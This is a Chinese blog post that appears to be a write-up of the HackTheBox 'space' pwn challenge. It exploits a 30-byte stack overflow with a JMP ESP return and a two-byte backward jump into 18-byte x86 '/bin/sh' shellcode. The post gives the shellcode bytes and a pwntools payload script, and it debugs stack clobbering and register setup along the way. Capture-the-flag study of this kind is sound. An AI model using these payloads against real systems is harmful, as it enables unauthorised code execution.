美文网首页
htb space题

htb space题

作者: clive0x | 来源:发表于2021-06-01 17:08 被阅读0次

只能overflow 30个字节,栈空间如图。

RET里填 JMP ESP,后面再填写一个short jmp ,往后跳转。

看了这遍文章才知道怎么写短跳转:

https://www.ins1gn1a.com/exploiting-minimal-buffer-overflows-with-an-egghunter/

https://thestarman.pcministry.com/asm/2bytejumps.htm

一直在纠结怎么往后跳转,看了jmp/call/pop,30个字节还是用不上啊。

想用jmp [esp-xxx],程序代码有限指令很难找到适合的esp-xxx。

往后jmp偏移为22 + len(short jmp)=22+2 = 24,

短jmp 最终代码为EB E8

跳转表如下

https://i2.wp.com/vellosec.net/wp-content/uploads/2018/08/2byte_cheatsheet_vellosec.jpg(已不能访问)

https://thestarman.pcministry.com/asm/2bytejumps.htm

最终跳转到了指定shellcode,18字节的shellcode执行居然不成功

shellcode = b'\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

    jmp_backwards=b'\xeb\xe8\x00\x00'

    p=gdb.debug(elf.path,gdbscript='''

    set disassembly-flavor intel

    b *&main

    b *&vuln

    c

    ''')

    payload=shellcode + p32(0x0804919f) + jmp_backwards

网上能找到最短的shellcode(x86 18bytes)
https://www.exploit-db.com/exploits/44321

18 bytes shellcode执行失败是因为 shellcode把/bin/sh push到栈上时(8个字节),从上图中的ESP所指位置,写到了ebp位置,改写了shellcode最后四个字节。payload还得在short jmp backwards前,加pop |ret指令,使esp往上走至少4个字节,扩展栈空间,用于shellcode代码 push /bin//sh。

对stack修正后,可以跳入shellcode,18字节的shellcode还是执行不成功。跟本机环境相关,本机环境ebx指向addr of (/bin//sh),ecx=0,edx=1,问题就出在edx,取envp[1]时,内容为\t\x89\x5e\x85,为非法指针,需要把edx也设置为0,18 bytes shellcode几乎不太可能了,重新修改payload

#pop esi ;pop esi; push ecx ;nop;push //sh;push /bin

    shellcode = b'\x5e\x5e\x51\x90\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

    jmp_esp = 0x0804919f 

    # xor ecx,ecx;mul ecx;movb al ,0xb

    init_reg=b'\x31\xc9\xf7\xe1\xb0\x0b'

    jmp_backwards = b'\xeb\xe2'

    p=process(elf.path,cwd='/root/hackthebox/pwn')

    payload = shellcode + p32(jmp_esp) + init_reg + jmp_backwards

    # payload=flat({eif_offset:read_plt},space_bss,0,space_bss,shellcode_len)

    p.sendlineafter("> ", payload)

相关文章

  • htb space题

    只能overflow 30个字节,栈空间如图。 RET里填 JMP ESP,后面再填写一个short jmp ,往...

  • 解包+redteam

    htb chase题发现很多知识盲点 1.wireshark follow 可以看会话,原来做某一ctf网站时用过...

  • 198. House Robbers - easy

    特别简单题;Linear time, constant space

  • Bank(Clear Text Credentials,SUID

    开放端口 详细端口信息 DNS 首先按照htb的习惯,我们假定靶机的域名是bank.htb,依此执行Zone Tr...

  • 冲刺卷来了?快看看你能过线吗?

    第1题(单选题): The Space Age ( )in October 1957 when the first...

  • bootcamp-2020&&mctf-2020

    国庆放假一直在刷题,大概是因为国赛自己打的太烂了吧.....感觉有不少东西还是可以精进的。 然后头几天怼了下htb...

  • 多图插入的free style实现

    \begin{figure}[htb]\centering %该句也可以删,确保居中\subfloat{\incl...

  • 0x00-HackTheBox-GetInviteCode

    Check out my video!!! - 0x00-HTB-GetInviteCode My input m...

  • htb optimistic

    这道题考察两个知识点: 1。int与unsigned int比较,用负数跳过比较,实现大量输入。 2。输入变相限制...

  • HTB REG

    通过 puts got 0x7fcc5db3e5a0泄漏出libc版本和地址 在https://libc.rip/...

网友评论

      本文标题:htb space题

      本文链接:https://www.haomeiwen.com/subject/dvxgsltx.html